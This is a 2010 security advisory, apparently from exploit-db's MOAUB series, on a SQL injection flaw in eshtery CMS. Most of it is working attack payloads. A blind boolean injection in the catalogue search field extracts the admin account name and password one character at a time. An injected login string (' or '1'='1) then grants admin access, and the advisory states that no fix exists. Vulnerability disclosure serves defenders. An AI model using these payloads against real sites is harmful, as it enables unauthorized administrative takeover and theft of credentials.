MOAUB #12 - eshtery CMS SQL Injection Vulnerability

2010-09-12 09:29:46

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http://www.exploit-db.com/moaub12-eshtery-cms-sql-injection-vulnerability/
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Abysssec Inc Public Advisory

Title : eshtery CMS Sql Injection Vulnerability
Affected Version : eshtery copyrights 2003-2004
Discovery : www.abysssec.com
Vendor : http://eshtery.she7ata.com/projects/eshtery/

Demo : http://eshtery.she7ata.com/projects/eshtery/
Download Links : http://sourceforge.net/projects/eshtery/


Description :
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1) SQL Injection

for successful injection in this cms you have to pass two steps.

Step 1:
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Go to this path:
http://Example.com/catlgsearch.aspx

and enter this value in Criteria field:
%') and 1=1 AND (Item.iname LIKE '%

and click on "go" button. You will see that the data will be loaded.

Now enter this value:
%') and 1=2 AND (Item.iname LIKE '%

With this value no data will be loaded.


So if we enter below value, with the following technique we can define the first character
of AccName field of Admins table :
%') and 1=IIF((select mid(last(AccName),1,1) from (select top 1 AccName from admins))='a',1,2) AND (Item.iname LIKE '%

If the first character is 'a', the data will be loaded. If not, you will see nothing.

Second character:
%') and 1=IIF((select mid(last(AccName),2,1) from (select top 1 AccName from admins))='d',1,2) AND (Item.iname LIKE '%

and respectivly you can acqure another characters.

As a result, the first value of AccName field from Admins table acqured.

With this method you can obtain the Password value of Admin from Admins table
and going to other steps is not necessary.


Step 2:
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The value of AccName obtained in the first step(for example: admin).
You can go to adminlogin.aspx page:
http://Example.com/adminlogin.aspx

and enter this value to login:
username : admin' or '1'='1
password : foo

Now you are admin of site.




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Fixes

No fixes

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